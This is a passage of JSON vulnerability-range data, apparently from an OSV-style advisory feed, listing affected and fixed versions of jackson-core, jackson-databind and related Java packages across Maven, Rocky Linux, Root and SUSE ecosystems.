anges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"3.1.7"}]}],"versions":["3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.1.0","3.1.0-rc1","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6"]},{"source":"osv","ecosystem":"Maven","package":"tools.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.0"},{"fixed":"3.2.3"}]}],"versions":["3.2.0","3.2.1","3.2.2"]},{"source":"osv","ecosystem":"Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.8.0"},{"fixed":"2.18.11"}]}],"versions":["2.10.0","2.10.0.pr1","2.10.0.pr2","2.10.0.pr3","2.10.1","2.10.2","2.10.3","2.10.4","2.10.5","2.11.0","2.11.0.rc1","2.11.1","2.11.2","2.11.3","2.11.4","2.12.0","2.12.0-rc1","2.12.0-rc2","2.12.1","2.12.2","2.12.3","2.12.4","2.12.5","2.12.6","2.12.7","2.13.0","2.13.0-rc1","2.13.0-rc2","2.13.1","2.13.2","2.13.3","2.13.4","2.13.5","2.14.0","2.14.0-rc1","2.14.0-rc2","2.14.0-rc3","2.14.1","2.14.2","2.14.3","2.15.0","2.15.0-rc1","2.15.0-rc2","2.15.0-rc3","2.15.1","2.15.2","2.15.3","2.15.4","2.16.0","2.16.0-rc1","2.16.1","2.16.2","2.17.0","2.17.0-rc1","2.17.1","2.17.2","2.17.3","2.18.0","2.18.0-rc1","2.18.1","2.18.10","2.18.2","2.18.3","2.18.4","2.18.4.1","2.18.5","2.18.6","2.18.7","2.18.8","2.18.9","2.8.0","2.8.1","2.8.10","2.8.11","2.8.2","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0.pr1","2.9.0.pr2","2.9.0.pr3","2.9.0.pr4","2.9.1","2.9.10","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9"]},{"source":"osv","ecosystem":"Rocky Linux:9","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.21.6-1.el9_8.2"}]}],"bundled":2},{"source":"osv","ecosystem":"Rocky Linux:8","package":"apache-commons-collections","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.2.2-10.module+el8.10.0+1763+c7c02164"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"apache-commons-collections","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.2.2-10.module+el8.10.0+2052+1b0fb438"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"apache-commons-collections","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.2.2-10.module+el8.3.0+74+855e3f5d"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"apache-commons-lang","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6-21.module+el8.10.0+1763+c7c02164"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"apache-commons-lang","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6-21.module+el8.3.0+74+855e3f5d"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"apache-commons-net","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.6-3.module+el8.10.0+1763+c7c02164"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"apache-commons-net","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.6-3.module+el8.10.0+2052+1b0fb438"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"apache-commons-net","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.6-3.module+el8.3.0+74+855e3f5d"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"bea-stax","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.2.0-16.module+el8.10.0+1763+c7c02164"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"bea-stax","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.2.0-16.module+el8.10.0+2052+1b0fb438"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"glassfish-fastinfoset","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.2.13-9.module+el8.10.0+1763+c7c02164"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"glassfish-fastinfoset","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.2.13-9.module+el8.10.0+2052+1b0fb438"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"glassfish-jaxb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.11-12.module+el8.10.0+1763+c7c02164"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"glassfish-jaxb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.11-12.module+el8.10.0+2052+1b0fb438"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"glassfish-jaxb-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.12-8.module+el8.10.0+1763+c7c02164"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"glassfish-jaxb-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.12-8.module+el8.10.0+2052+1b0fb438"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.21-1.module+el8.10.0+40260+021059e6"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.21.4-1.module+el8.10.0+40260+021059e6"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.21.4-1.module+el8.10.0+40398+3ebe5a98.3"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.21.4-1.module+el8.10.0+40398+3ebe5a98.1"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.21.4-1.module+el8.10.0+40260+021059e6"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"jackson-jaxrs-providers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.21.4-1.module+el8.10.0+40260+021059e6"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"jackson-modules-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.21.4-2.module+el8.10.0+40260+021059e6"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"jakarta-commons-httpclient","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:3.1-28.module+el8.10.0+1763+c7c02164"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"jakarta-commons-httpclient","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:3.1-28.module+el8.10.0+2052+1b0fb438"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"jakarta-commons-httpclient","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:3.1-28.module+el8.3.0+74+855e3f5d"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"javassist","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.18.1-8.module+el8.10.0+1763+c7c02164"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"javassist","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.18.1-8.module+el8.10.0+2052+1b0fb438"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"javassist","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.18.1-8.module+el8.3.0+74+855e3f5d"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"pki-servlet-engine","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:9.0.62-1.module+el8.10.0+1767+f923f786"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"pki-servlet-engine","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:9.0.62-1.module+el8.10.0+2052+1b0fb438"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"relaxngDatatype","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2011.1-7.module+el8.10.0+1763+c7c02164"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"relaxngDatatype","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2011.1-7.module+el8.10.0+2052+1b0fb438"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"slf4j","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.7.25-4.module+el8.10.0+1763+c7c02164"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"slf4j","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.7.25-4.module+el8.10.0+2052+1b0fb438"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"slf4j","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.7.25-4.module+el8.6.0+843+5a13dac3"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"slf4j","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.7.25-4.module+el8.3.0+74+855e3f5d"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"slf4j","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.7.25-4.module+el8.10.0+2003+8aeac9cb"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"stax-ex","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.7.7-8.module+el8.10.0+1763+c7c02164"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"stax-ex","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.7.7-8.module+el8.10.0+2052+1b0fb438"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"velocity","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.7-24.module+el8.10.0+1763+c7c02164"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"velocity","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.7-24.module+el8.10.0+2052+1b0fb438"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"velocity","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.7-24.module+el8.3.0+74+855e3f5d"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"xalan-j2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.7.1-38.module+el8.10.0+1763+c7c02164"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"xalan-j2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.7.1-38.module+el8.10.0+2052+1b0fb438"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"xalan-j2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.7.1-38.module+el8.3.0+74+855e3f5d"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"xerces-j2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.11.0-34.module+el8.10.0+1763+c7c02164"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"xerces-j2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.11.0-34.module+el8.10.0+2052+1b0fb438"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"xerces-j2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.11.0-34.module+el8.3.0+74+855e3f5d"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"xml-commons-apis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.4.01-25.module+el8.10.0+1763+c7c02164"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"xml-commons-apis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.4.01-25.module+el8.10.0+2052+1b0fb438"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"xml-commons-apis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.4.01-25.module+el8.10.0+2003+8aeac9cb"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"xml-commons-apis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.4.01-25.module+el8.3.0+74+855e3f5d"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"xml-commons-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.2-26.module+el8.10.0+2052+1b0fb438"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"xml-commons-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.2-26.module+el8.10.0+1763+c7c02164"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"xml-commons-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.2-26.module+el8.3.0+74+855e3f5d"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"xmlstreambuffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.4-8.module+el8.10.0+1763+c7c02164"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"xmlstreambuffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.4-8.module+el8.10.0+2052+1b0fb438"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"xsom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0-19.20110809svn.module+el8.10.0+1763+c7c02164"}]}],"bundled":3},{"source":"osv","ecosystem":"Rocky Linux:8","package":"xsom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0-19.20110809svn.module+el8.10.0+2052+1b0fb438"}]}],"bundled":3},{"source":"osv","ecosystem":"Root:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.21.3-aikido.2"},{"fixed":"2.17.2-aikido.4"},{"fixed":"2.21.4-aikido.1"},{"fixed":"2.18.10-aikido.1"},{"fixed":"2.18.9-aikido.1"},{"fixed":"2.18.8-aikido.1"},{"fixed":"2.21.5-aikido.1"},{"fixed":"2.21.2-aikido.2"},{"fixed":"2.14.2-aikido.4"},{"fixed":"2.15.2-aikido.3"},{"fixed":"2.17.1-aikido.3"},{"fixed":"2.13.0-aikido.2"},{"fixed":"2.12.7-aikido.5"},{"fixed":"2.21.2-aikido.3"},{"fixed":"2.21.6-aikido.1"},{"fixed":"2.22.1-aikido.1"},{"fixed":"2.12.7-aikido.6"},{"fixed":"2.22.2-aikido.1"},{"fixed":"2.12.7-aikido.7"},{"fixed":"2.17.2-aikido.5"},{"fixed":"2.13.5-aikido.2"},{"fixed":"2.18.3-aikido.3"}]}]},{"source":"osv","ecosystem":"Root:Maven","package":"tools.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.6-aikido.1"},{"fixed":"3.1.4-aikido.1"},{"fixed":"3.1.5-aikido.1"},{"fixed":"3.2.2-aikido.1"}]}]},{"source":"osv","ecosystem":"Root:Maven","package":"io.root.com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.21.3-root.io.2"},{"fixed":"2.17.2-root.io.4"},{"fixed":"2.21.4-root.io.1"},{"fixed":"2.18.10-root.io.1"},{"fixed":"2.18.9-root.io.1"},{"fixed":"2.18.8-root.io.1"},{"fixed":"2.21.5-root.io.1"},{"fixed":"2.21.2-root.io.2"},{"fixed":"2.14.2-root.io.4"},{"fixed":"2.15.2-root.io.3"},{"fixed":"2.17.1-root.io.3"},{"fixed":"2.13.0-root.io.2"},{"fixed":"2.12.7-root.io.5"},{"fixed":"2.21.2-root.io.3"},{"fixed":"2.21.6-root.io.1"},{"fixed":"2.22.1-root.io.1"},{"fixed":"2.12.7-root.io.6"},{"fixed":"2.22.2-root.io.1"},{"fixed":"2.12.7-root.io.7"},{"fixed":"2.17.2-root.io.5"},{"fixed":"2.13.5-root.io.2"},{"fixed":"2.18.3-root.io.3"}]}]},{"source":"osv","ecosystem":"Root:Maven","package":"io.root.tools.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.6-root.io.1"},{"fixed":"3.1.4-root.io.1"},{"fixed":"3.1.5-root.io.1"},{"fixed":"3.2.2-root.io.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Basesystem 15 SP7","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Basesystem 15 SP7","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Basesystem 15 SP7","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Basesystem 15 SP7","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Development Tools 15 SP7","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 